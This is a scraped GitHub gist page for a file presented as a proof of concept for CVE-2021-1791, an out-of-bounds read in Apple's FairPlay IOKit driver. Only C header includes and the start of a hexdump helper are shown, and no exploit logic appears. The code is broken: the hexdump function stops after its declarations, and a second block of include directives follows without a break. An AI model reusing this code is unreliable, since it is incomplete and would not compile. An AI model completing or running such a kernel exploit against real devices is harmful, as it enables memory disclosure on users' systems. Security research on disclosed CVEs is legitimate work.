Skip to content

Instantly share code, notes, and snippets.

View unknown0xff's full-sized avatar

unknow unknown0xff

View GitHub Profile
@unknown0xff
unknown0xff / fairplay_iokit_uc_run_versioned.c
Created March 4, 2023 23:37 — forked from pwn0rz/fairplay_iokit_uc_run_versioned.c
CVE-2021-1791 Fairplay OOB Read POC
#include <IOKit/IOKitLib.h>
#include <mach/mach.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <ctype.h>
void hexdump(void *ptr, int buflen) {
unsigned char *buf = (unsigned char*)ptr;
int i, j;
#include <dirent.h>
#include <fcntl.h>
#include <errno.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>